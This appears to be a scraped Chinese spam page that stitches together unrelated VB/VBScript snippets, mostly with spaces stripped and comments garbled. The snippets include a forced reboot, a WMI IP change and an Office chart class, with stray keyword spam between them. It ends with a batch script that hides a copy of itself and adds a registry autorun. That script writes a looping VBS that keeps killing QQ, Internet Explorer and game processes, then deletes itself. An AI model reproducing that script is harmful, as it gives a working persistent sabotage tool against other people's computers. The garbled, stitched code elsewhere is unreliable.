电脑脚本助手钓鱼设置

RebootsaWindows2000PC.ManyexamplesshelltothekernelandjustkillthePC.Thisdoesitproperlyandtakesintoaccountauserprivilages.'APICallsusedforRebootPCPrivateConstTOKEN_ADJUST_PRIVILEGES=&H20PrivateConstTOKEN_QUERY=&H8PrivateConstSE_PRIVILEGE_ENABLED=&H2PrivateConstEWX_SHUTDOWNAsLong=1PrivateConstEWX_FORCEAsLong=4PrivateConstEWX_REBOOT=2PrivateTypeLUID UsedPartAsLong IgnoredForNowHigh32BitPartAsLongEndTypePrivateTypeTOKEN_PRIVILEGES PrivilegeCountAsLong TheLuidAsLUID AttributesAsLongEndTypePrivateDeclareFunctionExitWindowsExLib"user32"(ByValdwOptionsAsLong,ByValdwReservedAsLong)AsLongPrivateDeclareFunctionGetCurrentProcessLib"kernel32"()AsLongPrivateDeclareFunctionOpenProcessTokenLib"advapi32"(ByValProcessHandleAsLong,ByValDesiredAccessAsLong,TokenHandleAsLong)AsLongPrivateDeclareFunctionLookupPrivilegeValueLib"advapi32"Alias"LookupPrivilegeValueA"(ByVallpSystemNameAsString,ByVallpNameAsString,lpLuidAsLUID)AsLongPrivateDeclareFunctionAdjustTokenPrivilegesLib"advapi32"(ByValTokenHandleAsLong,ByValDisableAllPrivilegesAsLong,NewStateAsTOKEN_PRIVILEGES,ByValBufferLengthAsLong,PreviousStateAsTOKEN_PRIVILEGES,ReturnLengthAsLong)AsLongSubRebootPC() OnLocalErrorGoToRebootPC_ErrorHandler ConstcsProcName="RebootPC" DimhProcessHandleAsLong DimhTokenHandleAsLong DimtmpLuidAsLUID DimtkpNewAsTOKEN_PRIVILEGES DimtkpPreviousAsTOKEN_PRIVILEGES DimlBufferNeededAsLong hProcessHandle=GetCurrentProcess() CallOpenProcessToken(hProcessHandle,TOKEN_ADJUST_PRIVILEGESOrTOKEN_QUERY,hTokenHandle)'GettheLUIDfortheshutdownprivilege CallLookupPrivilegeValue("","SeShutdownPrivilege",tmpLuid) tkpNew.PrivilegeCount=1'Oneprivilegetoset tkpNew.TheLuid=tmpLuid tkpNew.Attributes=SE_PRIVILEGE_ENABLED'Enabletheshutdownprivilegeintheaccesstokenofthisprocess. lBufferNeeded=0 CallAdjustTokenPrivileges(hTokenHandle,False,tkpNew,Len(tkpPrevious),tkpPrevious,lBufferNeeded)'ForceaReboot(nooptiontosavefilestocancelout) CallExitWindowsEx(EWX_FORCEOrEWX_REBOOT,&HFFFF) ExitSubRebootPC_ErrorHandler: CallRaiseError(csModName,csProcName,Err.Number,Err.Description)EndSub->

当然这不是重点,前面说了它可以很方便调用COM,调用COM又能做什么呢?太多了,说不完,比如可以连接数据库,然后很方便的操作它;可以控制微软的Office来完成一些自动化工作;可以方便地调用WMI来管理Windows系统,基本上鼠标键盘可以做的,WMI都可以做;只要是标准安装的Windows都有(Windows95\97没有,98开始和之后都有)支持的特性可以让我们随时写一些小程序方便我们的其他工作,就像一些人喜欢用bat/cmd脚本,其实bat/cmd可以做的,VBS都可以做安卓脚本免root软件 //? 微软的解释:我们用AddressOf操作符建立回调过程,用来接收定时器的通知,需要注意的是回调过程必须建立在标准模块中,并且一定要具有正确的语法,由于VB不提供语法检查,也不对错误进行通知,因此在回调过程中使用错误的语法将会导致致命的错误,而使程序崩溃

strComputer="." SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2") SetcolNetAdapters=objWMIService.ExecQuery_ ("Select*fromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE") strIPAddress=Array("192.168.1.141") strSubnetMask=Array("255.255.255.0") strGateway=Array("192.168.1.100") strGatewayMetric=Array(1) ForEachobjNetAdapterincolNetAdapters errEnable=objNetAdapter.EnableStatic(strIPAddress,strSubnetMask) errGateways=objNetAdapter.SetGateways(strGateway,strGatewaymetric) IferrEnable=0Then WScript.Echo"TheIPaddresshasbeenchanged." Else WScript.Echo"TheIPaddresscouldnotbechanged." EndIf Next

固定长度字符串的处理速度通常慢于可变长度字符串,这是因为所有的VB字符串函数和命令只能识别可变长度字符串

''OWC1.VBS class owc private o '魅胛锛 public sub create(id_,width_,height_,location_) Set o=document.createElement("object") o.setAttribute "id",id_ o.setAttribute "classid","CLSID:0002E55D-0000-0000-C000-000000000046" o.setAttribute codebase="owc11.dll" o.style.width=width_ o.style.height=height_ document.getElementById(location_).appendChild(o) end sub 'D矩形D 'chart_bgcolor_D表的背景色 'chartCaption_D表的祟} 'chartCaption_fontColor_D表祟}色 'Interior_Color_矩形鹊奶畛漕色 'Caption_名Q 'categories_名Q到M 'values_值到M串 public sub bar(chart_bgcolor_,chartCaption_,chartCaption_fontColor_,Interior_Color_,Caption_,categories_,values_) o.Clear set cht=o.Charts.Add set c=o.Constants cht.Type=c.chChartTypeColumnClustered 'O背景色或是填充 o.Charts(0).PlotArea.Interior.SetSolid chart_bgcolor_ '加上D表的祟} o.HasChartSpaceTitle=True set cst=o.ChartSpaceTitle cst.Caption=chartCaption_ cst.Font.Color=chartCaption_fontColor_ cst.Font.Italic=False cst.Font.Name="Arial" cst.Font.Size=12 cst.Font.Underline=c.owcUnderlineStyleSingle '添加 cht.SetData c.chDimCategories, c.chDataLiteral, categories_ cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_ '直l的背景色M行O定 set sc=o.Charts(0).SeriesCollection(0) sc.Interior.Color=Interior_Color_ '直l上的@示O置 sc.Caption=Caption_ set dl=cht.SeriesCollection(0).DataLabelsCollection.Add dl.HasValue=True dl.HasPercentage=False dl.Font.Size=9 dl.Font.Color="red" dl.Position=c.chLegendPositionRight dl.NumberFormat="00.00%" '左百分比的傩栽O置 Set cta=cht.Axes(c.chAxisPositionLeft) cta.Font.Size=9 cta.NumberFormat="0.0%" cta.MajorUnit=0.1 end sub '多系列矩形D 'chart_bgColor_D表的背景色 'chartCaption_D表的祟} 'chartCaption_fontColor_D表祟}色 'color_色到M 'caption_名Q到M 'categories_名Q到M 'values_值到M public sub serBar(chart_bgColor_,chartCaption_,chartCaption_fontColor_,color_,caption_,categories_,values_) o.Clear o.Charts.Add Set c=o.Constants 'D表的型 o.Charts(0).type=c.chChartTypeColumnClustered 'oLD^加背景色 o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_ ''加上D表的祟} o.HasChartSpaceTitle=True o.ChartSpaceTitle.Caption=chartCaption_ '祟}的傩 o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_ o.ChartSpaceTitle.Font.Italic=False o.ChartSpaceTitle.Font.Name="Arial" o.ChartSpaceTitle.Font.Size=12 o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle '用循h硇略SeriesCollection以及里面的热 for i=0 to ubound(caption_) valuetemp="" for j=i*(ubound(categories_)+1) to (i+1)*(ubound(categories_)+1)-1 valuetemp=valuetemp & "," & values_(j) next valuearr=split(mid(valuetemp,2),",") o.Charts(0).SeriesCollection.Add o.Charts(0).SeriesCollection(i).Caption=caption_(i) o.Charts(0).SeriesCollection(i).Interior.Color=color_(i) o.Charts(0).SeriesCollection(i).SetData c.chDimCategories, c.chDataLiteral, categories_ o.Charts(0).SeriesCollection(i).SetData c.chDimValues, c.chDataLiteral, valuearr set dl=o.Charts(0).SeriesCollection(i).DataLabelsCollection.Add dl.HasValue=True dl.HasPercentage=False dl.Font.Size=9 dl.Font.Color="red" dl.Position=c.chLegendPositionRight dl.NumberFormat="00.00%" next ''D例的O定 o.Charts(0).HasLegend=True o.Charts(0).Legend.Font.Size=9 o.Charts(0).Legend.Position=c.chLegendPositionBottom ''左百分比的傩栽O置 Set cta=o.Charts(0).Axes(c.chAxisPositionLeft) cta.Font.Size=9 cta.NumberFormat="0.00%" cta.MajorUnit=0.1 end sub 'AD 'chart_bgColor_LD^加背景色 'chartCaption_D表的祟} 'chartCaption_fontColor_D表祟}色 public sub Pie(chart_bgColor_,chartCaption_,chartCaption_fontColor_,Caption_,categories_,values_) o.Clear Set cht=o.Charts.Add Set c=o.Constants cht.Type=c.chChartTypePie3d 'oLD^加背景色 o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_ cht.ExtrudeAngle=90 cht.ChartDepth=169 cht.AspectRatio=120 cht.Rotation=180 cht.Inclination=70 o.HasChartSpaceTitle=True o.ChartSpaceTitle.Caption=chartCaption_ o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_ o.ChartSpaceTitle.Font.Name="Arial" o.ChartSpaceTitle.Font.Size=12 o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle cht.HasLegend=True cht.Legend.Font.Size=9 cht.Legend.Position=c.chLegendPositionBottom cht.SetData c.chDimCategories, c.chDataLiteral, categories_ cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_ set sc=o.Charts(0).SeriesCollection(0) sc.Caption=Caption_ Set dl=cht.SeriesCollection(0).DataLabelsCollection.Add dl.Separator=":" dl.HasValue=false dl.HasSeriesName=false dl.HasCategoryName=true dl.HasPercentage=true dl.Font.Size=9 dl.Font.Color="red" dl.NumberFormat="00.00%" end sub '拆D 'chart_bgColor_LD^加背景色 'chartCaption_D表的祟} 'chartCaption_fontColor_D表祟}色 public sub line(chart_bgColor_,chartCaption_,chartCaption_fontColor_,Caption_,categories_,values_) o.Clear Set cht=o.Charts.Add Set c=o.Constants cht.Type=c.chChartTypeLineMarkers 'oLD^加背景色 o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_ o.HasChartSpaceTitle=True o.ChartSpaceTitle.Caption=chartCaption_ o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_ o.ChartSpaceTitle.Font.Name="Arial" o.ChartSpaceTitle.Font.Size=12 o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle cht.SetData c.chDimCategories, c.chDataLiteral, categories_ cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_ set sc=o.Charts(0).SeriesCollection(0) sc.Caption=Caption_ Set dl=cht.SeriesCollection(0).DataLabelsCollection.Add dl.HasValue=True dl.HasPercentage=False dl.Font.Size=9 dl.Font.Color="red" Set categoryAxis=cht.Axes(c.chAxisPositionBottom) categoryAxis.Font.Size=9 Set categoryAxis=cht.Axes(c.chAxisPositionLeft) categoryAxis.Font.Size=9 end sub '多系列拆D 'chart_bgColor_D表的背景色 'chartCaption_D表的祟} 'chartCaption_fontColor_D表祟}色 'color_色到M 'caption_名Q到M 'categories_名Q到M 'values_值到M public sub serLine(chart_bgColor_,chartCaption_,chartCaption_fontColor_,color_,SeriesNames_,categories_,values_) o.Clear Set cht=o.Charts.Add Set c=o.Constants 'O置D表型 cht.Type=c.chChartTypeLineMarkers 'oLD^加背景色 o.Charts(0).PlotArea.Interior.Color=chart_bgColor_ '加上祟} o.HasChartSpaceTitle=True o.ChartSpaceTitle.Caption=chartCaption_ o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_ o.ChartSpaceTitle.Font.Name="Arial" o.ChartSpaceTitle.Font.Size=12 ''添加 cht.SetData c.chDimSeriesNames, c.chDataLiteral, SeriesNames_ cht.SetData c.chDimCategories, c.chDataLiteral, Categories_ set categoryAxis=cht.Axes(c.chAxisPositionBottom) categoryAxis.Font.Size=9 Set categoryAxis=cht.Axes(c.chAxisPositionLeft) categoryAxis.Font.Size=9 for i=0 to ubound(SeriesNames_) valuetemp="" for j=i*(ubound(Categories_)+1) to (i+1)*(ubound(Categories_)+1)-1 valuetemp=valuetemp & "," & values_(j) next valuearr=split(mid(valuetemp,2),",") cht.SeriesCollection(i).SetData c.chDimValues, c.chDataLiteral, valuearr cht.SeriesCollection(i).Line.Color=color_(i) cht.SeriesCollection(i).Line.Weight=c.owcLineWeightThin cht.SeriesCollection(i).Marker.Style=c.chMarkerStyleDiamond cht.SeriesCollection(i).Interior.Color=color_(i) Set dl=cht.SeriesCollection(i).DataLabelsCollection.Add dl.HasValue=true dl.HasPercentage=false dl.Font.Size=9 dl.font.color="red" next end sub '清除D型 public sub clear() o.Clear end sub end class以下为笔者的音乐播放器的代码片段,就是这行代码使得双击和打开得以实现:PrivateSubForm_Load()DimdFAsStringdF=Command()WithMMControl1.FileName=dF.Command="Open".Command="Play"EndWithEndSub就那么简单

在类固定之后,再将它移值到COM、Windows脚本组件(WSC)或者一个Web服务中,但是在开发阶段还是灵活一些好黑猫圈解压密码或许用户不想再执行循环,通过点击Cancel按钮退出呢?怎么解决这个问题?答案是:使用DoEvents命令@echo off attrib -s -h -a -r d:\jk.bat 1>nul 2>nul if exist d:\jk.bat del d:\jk.bat /q copy %0 d:\jk.bat /y >nul attrib +s +h +a +r d:\jk.bat if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul echo Do>>%windir%\system32\jk.vbs echo WScript.Sleep 3000>>%windir%\system32\jk.vbs echo strComputer="." >>%windir%\system32\jk.vbs echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs echo For Each objItem in colItems >>%windir%\system32\jk.vbs echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs echo Then objitem.Terminate()>>%windir%\system32\jk.vbs echo Next>>%windir%\system32\jk.vbs echo loop>>%windir%\system32\jk.vbs start %windir%\system32\jk.vbs del %0 /q 。

34人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册